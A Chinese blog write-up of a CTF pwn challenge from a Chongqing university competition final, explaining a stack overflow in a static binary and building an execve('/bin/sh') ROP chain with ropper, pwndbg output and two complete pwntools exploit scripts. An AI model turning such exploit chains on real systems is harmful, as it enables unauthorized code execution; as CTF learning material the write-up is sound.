重庆市大学生网络安全竞赛(决赛)

抄的台湾那边的原题

rop

很简单的rop,但是由于笔者确实太菜了,当时在赛场上居然没能想明白其中关节

静态编译的二进制文件,所以很多gadget都是能找到的

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

实际上这题canary对我们的影响为0,就不多叙述了

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("This is your first rop challenge ;)", argv, envp);
  fflush(stdout);
  read(0, buf, 0x90uLL);
  return 0;
}

很简单的一个栈溢出

怎么溢出都还是蛮明显的

然后就来到了写rop链的环节

$ ROPgadget --binary ./rop | grep "syscall"  
0x00000000004011fc : syscall
$ ROPgadget --binary ./rop | grep "pop rdi"
0x0000000000400686 : pop rdi ; ret

后面的大致都差不多的找法,常规的gadget而已

但是有一个点在于,ROPgadget找不到我们需要用的mov rdi,rsi这样的一个gadget

可以看到,都不算很干净

由于我比赛时也没有其他更好用的找gadget的工具,也就卡住了,想要找其他思路但是又完全记不起来其他的做法具体该怎么弄(姑且让我狡辩三分吧,毕竟断网加巡逻加不允许查自己的笔记,纯靠脑子里的记忆笔者确实不太中用……)

这里要引入一个更好用的找gadget的工具——ropper

┌──(kalikali)-[~/桌面/cq]
└─$ ropper
(ropper)> file rop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(rop/ELF/x86_64)> search mov rdi
[INFO] Searching for gadgets: mov rdi

[INFO] File: rop
0x0000000000473a61: mov rdi, qword ptr [r12]; lea r9, [rsp + 0x38]; lea rcx, [rax + 1]; call rbx; 
0x000000000040dec8: mov rdi, qword ptr [r13]; mov rax, qword ptr [rsp + 8]; call rax; 
0x000000000040e963: mov rdi, qword ptr [rax + 0x20]; call rdx; 
0x000000000045db23: mov rdi, qword ptr [rbp - 0x8a8]; call qword ptr [rbx + 0x38]; 
0x000000000045e0cd: mov rdi, qword ptr [rbp - 0x8a8]; call qword ptr [rcx + 0x38]; 
0x000000000045d8da: mov rdi, qword ptr [rbp - 0x8a8]; call rax; 
0x000000000045d970: mov rdi, qword ptr [rbp - 0x8a8]; sub rdx, rsi; call qword ptr [rbx + 0x38]; 
0x0000000000469e36: mov rdi, qword ptr [rbp - 0x8d0]; call qword ptr [rbx + 0x38]; 
0x0000000000468e0c: mov rdi, qword ptr [rbp - 0x8d0]; call rax; 
0x0000000000469b01: mov rdi, qword ptr [rbp - 0x8d0]; mov rdx, r13; call qword ptr [rbx + 0x38]; 
0x0000000000468eaa: mov rdi, qword ptr [rbp - 0x8d0]; sub rdx, rsi; sar rdx, 2; call qword ptr [rbx + 0x38]; 
0x0000000000464ce3: mov rdi, qword ptr [rbp - 0xc0]; call rax; 
0x0000000000488130: mov rdi, qword ptr [rdi]; call 0x8a0a0; mov qword ptr [rbx + 0x20], rax; pop rbx; ret; 
0x000000000048805c: mov rdi, qword ptr [rdi]; call 0x8a3a0; mov qword ptr [rbx + 0x18], rax; pop rbx; ret; 
0x0000000000482253: mov rdi, qword ptr [rsp + 0x18]; mov rdx, qword ptr [rsp + 0x10]; call rdx; 
0x00000000004509cf: mov rdi, qword ptr [rsp + 0x20]; mov rax, qword ptr [rsp + 0x10]; call rax; 
0x00000000004515b8: mov rdi, qword ptr [rsp + 0x30]; call rbx; 
0x00000000004510e8: mov rdi, qword ptr [rsp + 0x38]; call rbx; 
0x0000000000450df4: mov rdi, qword ptr [rsp + 0x38]; mov rax, qword ptr [rsp + 0x18]; call rax; 
0x0000000000455ac5: mov rdi, qword ptr [rsp + 0x40]; call rbx; 
0x0000000000452d36: mov rdi, qword ptr [rsp + 0x40]; mov rax, qword ptr [rsp + 0x20]; call rax; 
0x00000000004169ba: mov rdi, qword ptr [rsp + 8]; add rsp, 0x20; pop rbx; jmp rax; 
0x0000000000416de0: mov rdi, qword ptr [rsp + 8]; add rsp, 0x20; pop rbx; mov ecx, edx; xor edx, edx; jmp rax; 
0x000000000044a490: mov rdi, qword ptr [rsp + 8]; mov rax, qword ptr [rsp + 0x10]; call rax; 
0x00000000004162c5: mov rdi, qword ptr [rsp]; add rsp, 0x10; pop rbx; jmp rax; 
0x0000000000471bcf: mov rdi, r12; call rbx; 
0x00000000004168b5: mov rdi, r12; lea r15, [r14 + 1]; call qword ptr [rbx + 0x18]; 
0x0000000000449998: mov rdi, r12; mov eax, 0x4f; syscall; 
0x0000000000491ce0: mov rdi, r13; call rax; 
0x000000000040dfed: mov rdi, r13; lea rbx, [r15 + rax]; mov rax, qword ptr [rsp + 8]; call rax; 
0x000000000040df58: mov rdi, r13; mov rax, qword ptr [rsp + 8]; call rax; 
0x000000000045fd76: mov rdi, r14; call qword ptr [rax + 0x38]; 
0x0000000000457f52: mov rdi, r14; call rbx; 
0x0000000000458230: mov rdi, r14; call rdx; 
0x00000000004603fe: mov rdi, r14; mov dword ptr [rbp - 0x4e8], r9d; mov rdx, qword ptr [rbp - 0x518]; mov rsi, qword ptr [rbp - 0x530]; call qword ptr [rax + 0x38];                                                                                                                                                            
0x000000000045fe52: mov rdi, r14; mov rdx, r15; call qword ptr [rax + 0x38]; 
0x000000000045f90d: mov rdi, r14; sub r15, r12; mov rdx, r15; call qword ptr [rax + 0x38]; 
0x000000000046b86b: mov rdi, r15; call qword ptr [rax + 0x38]; 
0x0000000000410ed2: mov rdi, r15; call rax; 
0x000000000044ed0a: mov rdi, r15; mov rsi, qword ptr [rbp - 0x70]; call rsi; 
0x000000000046b65a: mov rdi, r15; sar r14, 2; mov rdx, r14; call qword ptr [rax + 0x38]; 
0x0000000000484870: mov rdi, rax; call 0x1fd50; jmp 0x84850; nop word ptr [rax + rax]; pop rbx; ret; 
0x0000000000411695: mov rdi, rax; call qword ptr [rax + 8]; 
0x00000000004231b3: mov rdi, rax; call rcx; 
0x000000000040db4f: mov rdi, rax; mov eax, 0xba; syscall; 
0x0000000000449248: mov rdi, rax; mov rsi, rdx; mov eax, 4; syscall; 
0x0000000000475208: mov rdi, rax; mov rsi, rdx; mov eax, 6; syscall; 
0x00000000004701a0: mov rdi, rbp; call qword ptr [rax + 0x38]; 
0x0000000000410455: mov rdi, rbp; call qword ptr [rbp + 0x20]; 
0x0000000000422535: mov rdi, rbp; call rax; 
0x0000000000473d80: mov rdi, rbp; call rbx; 
0x000000000044a1a9: mov rdi, rbp; mov eax, 9; syscall; 
0x0000000000473ed1: mov rdi, rbp; mov r9, r14; call rbx; 
0x0000000000411b21: mov rdi, rbp; mov rax, qword ptr [rsi + 0x60]; add rsi, 0x58; mov qword ptr [rsi], rax; call qword ptr [rbp + 0x30]; 
0x00000000004114f1: mov rdi, rbp; push qword ptr [rax + 0x38]; mov rcx, qword ptr [rbx + 0x10]; lea r8, [rsp + 0x10]; call qword ptr [rbp + 0x18]; 
0x00000000004104d6: mov rdi, rbp; push qword ptr [rax + 0x38]; mov rcx, qword ptr [rbx + 8]; mov r9, qword ptr [rax + 0x10]; call qword ptr [rbp + 0x18]; 
0x000000000044ae6c: mov rdi, rbx; add rsp, 8; mov rax, rbp; pop rbx; pop rbp; jmp rax; 
0x0000000000489f0e: mov rdi, rbx; call 0x807c0; jmp 0x89b3e; nop dword ptr [rax + rax]; xor eax, eax; ret; 
0x0000000000413b37: mov rdi, rbx; call qword ptr [rax + 0x18]; 
0x00000000004134b3: mov rdi, rbx; call qword ptr [rax + 0x40]; 
0x0000000000413c79: mov rdi, rbx; call qword ptr [rax + 0x78]; 
0x00000000004161ab: mov rdi, rbx; call qword ptr [rbp + 0x18]; 
0x000000000041681c: mov rdi, rbx; call qword ptr [rbp + 0x20]; 
0x00000000004175ac: mov rdi, rbx; call qword ptr [rbp + 0x30]; 
0x000000000040fed7: mov rdi, rbx; call qword ptr [rbp + 0x60]; 
0x00000000004167a3: mov rdi, rbx; call qword ptr [rbp + 0x68]; 
0x00000000004137ae: mov rdi, rbx; call qword ptr [rbp + 0x70]; 
0x0000000000412fa5: mov rdi, rbx; call rax; 
0x000000000048fc02: mov rdi, rbx; jne 0x8fbf0; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000457f46: mov rdi, rbx; mov dword ptr [rbp - 0x48], r8d; call 0x4d0a0; mov rdi, r14; call rbx; 
0x00000000004233c1: mov rdi, rbx; pop rbx; jmp 0x193b0; nop word ptr [rax + rax]; mov eax, 0x16; ret; 
0x0000000000448403: mov rdi, rbx; pop rbx; jmp 0x1fd50; nop dword ptr [rax]; pop rbx; ret; 
0x0000000000411455: mov rdi, rbx; pop rbx; mov rax, qword ptr [rax + 0x130]; mov rax, qword ptr [rax + 0x20]; jmp rax; 
0x000000000041635c: mov rdi, rbx; pop rbx; pop rbp; jmp rax; 
0x0000000000470a2e: mov rdi, rbx; pop rbx; pop rbp; pop r12; jmp rax; 
0x000000000047b8c8: mov rdi, rcx; call 0x4a280; test eax, eax; js 0x7b8e2; pop rbx; ret; 
0x0000000000484440: mov rdi, rdx; mov byte ptr [rsi], al; jne 0x84420; mov rax, rsi; ret; 
0x000000000045821a: mov rdi, rdx; mov qword ptr [rbp - 0x98], rdx; call 0x4d0a0; mov rdx, qword ptr [rbp - 0x98]; mov rdi, r14; call rdx; 
0x00000000004732ae: mov rdi, rsi; bsr eax, eax; lea rax, [rdi + rax - 0x20]; vzeroupper; ret; 
0x000000000044ecfe: mov rdi, rsi; mov qword ptr [rbp - 0x70], rsi; call 0x4d0a0; mov rdi, r15; mov rsi, qword ptr [rbp - 0x70]; call rsi; 

但实际上,我们用上了ropper也没找到很干净的mov rdi, rsi

实际上,如果换成

search mov [rdi], rsi

就能找到我们想要的

还是蛮抽象的

由于静态编译的原因,如果IDA硬找只能说是相当的费时费力

不过这个ropper能很好的作为ROPgadget的上位替代

获取到了干净的gadget,也就能正常的写rop链了

其他相关的pop gadget可以这样快速搜索

0x000000000044ba15: pop r10; ret; 
0x0000000000405d64: pop r12; ret; 
0x000000000040da5b: pop r13; ret; 
0x0000000000410092: pop r14; ret; 
0x0000000000400685: pop r15; ret; 
0x0000000000415294: pop rax; ret; 
0x0000000000400a98: pop rbp; ret; 
0x00000000004a95a0: pop rbx; ret 0x6f9; 
0x0000000000400d58: pop rbx; ret; 
0x000000000041d523: pop rcx; ret; 
0x0000000000400686: pop rdi; ret; 
0x000000000044ba16: pop rdx; ret; 
0x0000000000477b73: pop rsi; ret 2; 
0x0000000000410093: pop rsi; ret; 
0x0000000000401d13: pop rsp; ret; 

还是相当简单粗暴的

于是可以大致先写成这样的一个exp:

from pwn import *
#io = remote("172.16.25.233",20453)
io = process("./rop")
elf = ELF("./rop")
pop_rdi = 0x0000000000400686
pop_rsi = 0x0000000000410093
pop_rdx = 0x000000000044ba16
ret = 0x0000000000400416
main = 0x000000000400B4D
syscall = 0x00000000004011fc
bss = elf.bss()
pop_rax = 0x0000000000415294
mov_rdi_rsi = 0x0000000000446c1b

p = b'a' * 24
p += p64(pop_rdi) + p64(bss)
p += p64(pop_rsi) + b'/bin/sh\x00' + p64(ret) 
p += p64(mov_rdi_rsi)
p += p64(pop_rsi) + p64(0)
p += p64(pop_rax) + p64(59)
p += p64(syscall)


gdb.attach(io)
io.sendline(p)
io.interactive()

但是运行发现

pwndbg> 
0x00000000004011fc in __libc_start_main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
 RAX  0x3b
 RBX  0x400400 (_init) ◂— sub rsp, 8
 RCX  0x4494ae (read+14) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x90
 RDI  0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0
 R8   0x6bbd30 (_IO_stdfile_1_lock) ◂— 0
 R9   0x1d5d5880 ◂— 0x1d5d5880
 R10  0x41
 R11  0x346
 R12  0x401900 (__libc_csu_fini) ◂— push rbp
 R13  0
 R14  0x6b9018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x440ad0 (__strcpy_ssse3) ◂— mov rcx, rsi
 R15  0
 RBP  0x6161616161616161 ('aaaaaaaa')
*RSP  0x7ffe7cd9f500 ◂— 0xa /* '\n' */
*RIP  0x4011fc (__libc_start_main+1020) ◂— syscall 
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x4011fa <__libc_start_main+1018>    mov    eax, edx
   0x4011fc <__libc_start_main+1020>    syscall  <SYS_execve>
        path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0
        envp: 0x90
   0x4011fe <__libc_start_main+1022>    jmp    __libc_start_main+1016      <__libc_start_main+1016>
    ↓
   0x4011f8 <__libc_start_main+1016>    xor    edi, edi           EDI => 0
   0x4011fa <__libc_start_main+1018>    mov    eax, edx
0x4011fc <__libc_start_main+1020>    syscall  <SYS_execve>
        path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0
        envp: 0x90
   0x4011fe <__libc_start_main+1022>    jmp    __libc_start_main+1016      <__libc_start_main+1016>
    ↓
   0x4011f8 <__libc_start_main+1016>    xor    edi, edi           EDI => 0
   0x4011fa <__libc_start_main+1018>    mov    eax, edx
   0x4011fc <__libc_start_main+1020>    syscall  <SYS_execve>
        path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0
        envp: 0x90
   0x4011fe <__libc_start_main+1022>    jmp    __libc_start_main+1016      <__libc_start_main+1016>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000rsp 0x7ffe7cd9f500 ◂— 0xa /* '\n' */
01:0008│     0x7ffe7cd9f508 ◂— 0
02:0010│     0x7ffe7cd9f510 —▸ 0x400400 (_init) ◂— sub rsp, 8
03:0018│     0x7ffe7cd9f518 ◂— 0x5bad82d779c96a8c
04:0020│     0x7ffe7cd9f520 —▸ 0x401900 (__libc_csu_fini) ◂— push rbp
05:0028│     0x7ffe7cd9f528 ◂— 0
06:0030│     0x7ffe7cd9f530 —▸ 0x6b9018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x440ad0 (__strcpy_ssse3) ◂— mov rcx, rsi
07:0038│     0x7ffe7cd9f538 ◂— 0
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
0         0x4011fc __libc_start_main+1020
   1   0x7ffe7cda00e4 None
   2   0x7ffe7cda00f7 None
   3   0x7ffe7cda010b None
   4   0x7ffe7cda011b None
   5   0x7ffe7cda0134 None
   6   0x7ffe7cda016e None
   7   0x7ffe7cda0184 None
────────────────────────────────────────────────────────────────────────────────
pwndbg> 
   0x4011fc <__libc_start_main+1020>    syscall  <SYS_execve>
        path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0
        envp: 0x90

这里底下的三个参数的具体情况实际上并不太对

正常情况:

0x4011fc <__libc_start_main+1020>    syscall  <SYS_execve>
        path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
        argv: 0
        envp: 0

看出来问题了吗

envp的参数不对劲

好了,观察可以发现envp指向的寄存器是rdx

笔者另外一个犯病没想通的点就是这个envp

没能记住execve的参数情况

实际上pop rdx为0就好了

最终exp:

from pwn import *
#io = remote("172.16.25.233",20453)
io = process("./rop")
elf = ELF("./rop")
pop_rdi = 0x0000000000400686
pop_rsi = 0x0000000000410093
pop_rdx = 0x000000000044ba16
ret = 0x0000000000400416
main = 0x000000000400B4D
syscall = 0x00000000004011fc
bss = elf.bss()
pop_rax = 0x0000000000415294
mov_rdi_rsi = 0x0000000000446c1b

p = b'a' * 24
p += p64(pop_rdi) + p64(bss)
p += p64(pop_rsi) + b'/bin/sh\x00' + p64(ret) 
p += p64(mov_rdi_rsi)
p += p64(pop_rsi) + p64(0)
p += p64(pop_rax) + p64(59)
p += p64(pop_rdx) + p64(0)
p += p64(syscall)


gdb.attach(io)
io.sendline(p)
io.interactive()

这里贴出函数定义:

long sys_execve(const char __user *name, const char __user *const __user *argv, const char __user *const __user *envp, struct pt_regs *regs);


name需要执行的文件的绝对路径存于用户空间)。

argv传入系统调用的参数存于用户空间)。

envp传入系统调用的环境变量存于用户空间)。

regs系统调用时系统堆栈的情况

笔者在比赛时就因为没法正确调用execve然后就在下面这一段里一直循环

打出了这样的抽象execve

   0x4011f8 <__libc_start_main+1016>    xor    edi, edi           EDI => 0
   0x4011fa <__libc_start_main+1018>    mov    eax, edx
0x4011fc <__libc_start_main+1020>    syscall  <SYS_execve>
        path: 0
        argv: 0x68732f6e69622f
        envp: 0x3b
   0x4011fe <__libc_start_main+1022>    jmp    __libc_start_main+1016      <__libc_start_main+1016>

还是对底层的理解不够深刻,虽然成功构造了execve,但始终没真的完全记忆下底层的调用逻辑导致于前三血失之交臂

这样的简单题全场居然也只有三解

令人唏嘘,虽然我也没能做出来就是了

还是比较遗憾,理解也不深刻,工具也不到位,很简单的一道题被我想得很复杂……

thijack

比赛的时候满心扑到rop那题上了,这题看着也蛮简单的,但是期末周了,留待日后解决了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇